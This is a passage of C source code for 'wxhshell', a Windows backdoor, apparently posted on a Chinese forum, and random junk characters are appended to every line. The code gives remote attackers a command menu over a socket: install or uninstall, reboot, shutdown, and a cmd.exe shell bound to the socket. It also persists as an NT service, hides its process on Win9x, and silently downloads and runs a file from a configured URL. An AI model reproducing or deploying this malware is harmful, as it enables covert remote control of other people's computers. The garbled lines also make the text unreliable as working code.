  8[{ Vu0R  
  // 帮助 @GW #&\yM  
  case '?': { sdw(R#GE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =]0&i]z[.  
    break; Se =`N  
  } ,.FxIl ]  
  // 安装 t'k$&l}+  
  case 'i': { 3AN/ H  
    if(Install()) I^$fMdT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); smo~7;  
    else bY~pc\V:`w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'E""amIJ  
    break; oe-\ozJ0  
    } 0oIe> r  
  // 卸载 4 "'~NvO  
  case 'r': { 9InVQCf2J  
    if(Uninstall()) 4^|3TntO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?^\|-Gr  
    else 2`=7_v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _KAQ}G3  
    break; ]Er$*7f  
    } 0YDR1dO(*  
  // 显示 wxhshell 所在路径 NqWdRU  
  case 'p': { nZYBE030  
    char svExeFile[MAX_PATH]; /f;~X"!  
    strcpy(svExeFile,"\n\r"); ak!G8'w  
      strcat(svExeFile,ExeFile); KJ4.4Zq{c  
        send(wsh,svExeFile,strlen(svExeFile),0); P( 8OQL:  
    break; Qq|57X)P*  
    } f(MO_Sj]  
  // 重启 @|YH|/RF  
  case 'b': { JT_ `.(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :eVq#3}  
    if(Boot(REBOOT)) A6(/;+n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DEZve Qr=  
    else { 9q~s}='"  
    closesocket(wsh); vUM4S26"NT  
    ExitThread(0); P+/e2Y  
    } tK\~A,=  
    break; l2Rb\4  
    } y?4BqgB  
  // 关机 A2Gevj?F$  
  case 'd': { s!$7(Q86R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XZd,&YiaG  
    if(Boot(SHUTDOWN)) f._ua>v,f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $-sHWYZ  
    else { @E|}Y  
    closesocket(wsh); oXF.1f/h  
    ExitThread(0); #QMz<P/Gl6  
    } )\$|X}uny&  
    break; s?nR 4  
    } (<C3Vts))  
  // 获取shell U # qK.  
  case 's': { pFjK}J OF  
    CmdShell(wsh); *J`O"a  
    closesocket(wsh); /9fR'EO{x  
    ExitThread(0); O :Tj"@h  
    break; Xc&9Glf  
  } {R `[kt  
  // 退出 P~X2^bw  
  case 'x': { EXqE~afm2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }0Ed ]  
    CloseIt(wsh); CzrC%xy  
    break; l,5+@i`5i  
    } t*w/{|yO  
  // 离开 7-fb.V9  
  case 'q': { }@d@3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \,0oX!<YY  
    closesocket(wsh); 2<}%kQ`  
    WSACleanup(); L ~N460  
    exit(1); h <<v^+m  
    break; IW] rb/H  
        } aK^q_ghh[  
  } T]~ xj4  
  } pTLCWbF?  
6.yu-xm  
  // 提示信息 x7 ,5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tc_3sC7jN  
} - 1gVeT&  
  } @f3E`8  
%d9uTm;  
  return; eTcd"Kd/  
} S3Jo>jXS "  
{E|$8)58i  
// shell模块句柄 (TT}6j  
int CmdShell(SOCKET sock) .HABNPNg(  
{ +ami?#Sz*;  
STARTUPINFO si; "E4a=YH_  
ZeroMemory(&si,sizeof(si)); [ub e6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KF:78C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \YrUe1  
PROCESS_INFORMATION ProcessInfo; ,r_Gf5c  
char cmdline[]="cmd"; )zDCu`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4;2uW#dG"  
  return 0; JNnDts*w  
} &mS^ZyG  
(KZ{^X?a  
// 自身启动模式 a/xn'"eli  
int StartFromService(void) Tpa5N'O  
{ kb!%-k  
typedef struct 5wU]!bxr  
{ SNk=b6`9  
  DWORD ExitStatus; ysnx3(+|  
  DWORD PebBaseAddress; iuul7VR-%  
  DWORD AffinityMask; Dk51z@  
  DWORD BasePriority; 'i|YlMFIg  
  ULONG UniqueProcessId; <t!W5q  
  ULONG InheritedFromUniqueProcessId; G7/ +ogV  
}   PROCESS_BASIC_INFORMATION; ;L ^o*`  
g2Z`zQA7  
PROCNTQSIP NtQueryInformationProcess; }3WxZv]I}  
aV0"~5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]\HvKCN}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +^F Zq$NP  
"qy,*{~  
  HANDLE             hProcess; +k R4E23:  
  PROCESS_BASIC_INFORMATION pbi; qwAT>4  
&m;*<}X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bdpy:'fJn  
  if(NULL == hInst ) return 0; l,aay-E  
V0a3<6@4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w7&A0M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '8kP.l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~6md !o%i  
)NT*bLRPQ  
  if (!NtQueryInformationProcess) return 0; (A.C]hD  
h 'nY3GrU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EU Fa5C:  
  if(!hProcess) return 0; ]A_`0"m.U  
j3ls3H&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0jWVp- y  
4E}Yt$|  
  CloseHandle(hProcess); -m#)B~)  
HTTC TR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lPAQ3t!,  
if(hProcess==NULL) return 0; SSzIih@u  
E2+`4g@{8<  
HMODULE hMod; Qn2&nD%zi  
char procName[255]; YtLt*Ig%  
unsigned long cbNeeded; ti,d&c_7  
Q\0'lQJdy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E' uZA  
*/S_Icf  
  CloseHandle(hProcess); Ab;.5O$y  
NvX[zqNP_R  
if(strstr(procName,"services")) return 1; // 以服务启动 E _|<jy$`  
)D%~` ,#pQ  
  return 0; // 注册表启动 @IZnFHN  
} :.`2^  
u9p$YJ  
// 主模块 j![\& z  
int StartWxhshell(LPSTR lpCmdLine) ql~J8G9  
{ u_Z+;{]Pj  
  SOCKET wsl; e&>2 n  
BOOL val=TRUE; F_P~x(X  
  int port=0; 9+!hg'9Qn  
  struct sockaddr_in door; :[d9tm  
 /G`]=@~  
  if(wscfg.ws_autoins) Install();  ZWm6eD  
WTiD[u  
port=atoi(lpCmdLine); a?oI>8*  
&uVnZ@o42  
if(port<=0) port=wscfg.ws_port; h Xya*#n#  
5#z1bu  
  WSADATA data; w&.a QGR#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M D#jj3y  
AQ^u   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a$fnh3j[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #T"4RrR  
  door.sin_family = AF_INET; :Llb< MY2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )QJUUn#  
  door.sin_port = htons(port); (**oRwr%  
(^>J&[=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B`sAk %  
closesocket(wsl); ?gXp*>Kg[  
return 1; 1{.9uw"2S  
} pTuS*MYz  
QTnP'5y  
  if(listen(wsl,2) == INVALID_SOCKET) { ksm~<;td  
closesocket(wsl); ,`sv1xwd  
return 1; I( Mm?9F  
} K@%].:  
  Wxhshell(wsl); z{r}~{{E  
  WSACleanup(); HK% 7g  
Pc]HP  
return 0; y<.5xq5_3  
ez[Vm:2K  
} 4mbBmQV$#  
_tycgq#  
// 以NT服务方式启动 BFt> 9x]T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o#N+Y?O  
{ @'|~v <<WZ  
DWORD   status = 0; 6wg^FD_Q  
  DWORD   specificError = 0xfffffff; EhBKj |y  
Ws12b $  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5Yndc)Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UGatWj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *OQ2ucC8j  
  serviceStatus.dwWin32ExitCode     = 0; '0,^6'VWOV  
  serviceStatus.dwServiceSpecificExitCode = 0; bN=P*hdf  
  serviceStatus.dwCheckPoint       = 0; [PbOfxxgA  
  serviceStatus.dwWaitHint       = 0; &6k3*dq  
3r1*m  +  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8l">cVo]T  
  if (hServiceStatusHandle==0) return; :fJN->wY^s  
/Gfw8g\}  
status = GetLastError(); q0 \6F^;M  
  if (status!=NO_ERROR) Zgb!E]V[  
{ P+HXn8@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'we>q@  
    serviceStatus.dwCheckPoint       = 0; OB}Ib]  
    serviceStatus.dwWaitHint       = 0; bQ5\ ]5M  
    serviceStatus.dwWin32ExitCode     = status; Ht&Y C<X  
    serviceStatus.dwServiceSpecificExitCode = specificError; &>}5jC.I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wS3'?PRX  
    return; a09<!0Rp  
  } 9Gz=lc[!7  
>5SSQ\2~a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `wU!`\  
  serviceStatus.dwCheckPoint       = 0; XB5DPx  
  serviceStatus.dwWaitHint       = 0; \.}c9*)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x$(f7?s] 1  
} NyuQMU  
7>*vI7O0l  
// 处理NT服务事件,比如:启动、停止 Vf1^4 t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Dum9lj  
{ k==h|\|  
switch(fdwControl) AwF:Iu^3n  
{ |vzl. ^"-  
case SERVICE_CONTROL_STOP: PmM3]xVzd  
  serviceStatus.dwWin32ExitCode = 0; 2b8L\$1q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QSf|nNT  
  serviceStatus.dwCheckPoint   = 0; +qdEq_ m  
  serviceStatus.dwWaitHint     = 0; 3T0"" !Q  
  { j_ 7mNIr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t.C5+^+%  
  } < FAheE+  
  return; {+b7sA3  
case SERVICE_CONTROL_PAUSE: p{dj~ &v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /z$ u]X  
  break; pI<f) r  
case SERVICE_CONTROL_CONTINUE: l}M!8:UzU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1yY0dOoLG)  
  break; S`Rs82>  
case SERVICE_CONTROL_INTERROGATE: [=`q>|;pOv  
  break; 5Jnlz@P9  
}; E&:,oG2M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I1&aM}y{G  
} MnW+25=N  
+8ZF"{y  
// 标准应用程序主函数 q- d:TMkc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y`wSv NU  
{ 7E!5G2XX~~  
cQ_Hp <D  
// 获取操作系统版本 "5$B>S(Q  
OsIsNt=GetOsVer(); UJ6v(:z <  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eb$#A _m  
lqpp)Cq  
  // 从命令行安装 1[-tD 0{H  
  if(strpbrk(lpCmdLine,"iI")) Install(); he hFEyx  
[z9Z5sLO  
  // 下载执行文件 '@P^0+B!(.  
if(wscfg.ws_downexe) { KJZ4AWH`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b5n'=doR/I  
  WinExec(wscfg.ws_filenam,SW_HIDE); lsNd_7k  
} iO; 7t@]-  
,~W|]/b<q  
if(!OsIsNt) { @pU)_d!pJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 %ULr8)R;  
HideProc(); Dv`c<+q(#  
StartWxhshell(lpCmdLine); \xoP)Ub>  
} e\75:oQ  
else X)3!_  
  if(StartFromService()) R ViuJ;  
  // 以服务方式启动 }*"p?L^p{  
  StartServiceCtrlDispatcher(DispatchTable); Kx JqbLUC  
else %H"47ZFxAs  
  // 普通方式启动 sCHJ&>m5-  
  StartWxhshell(lpCmdLine); "C`Ub  
]e@Oiq  
return 0; Pk)1WK7E  
}
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只看该作者 1 发表于: 2006-10-10
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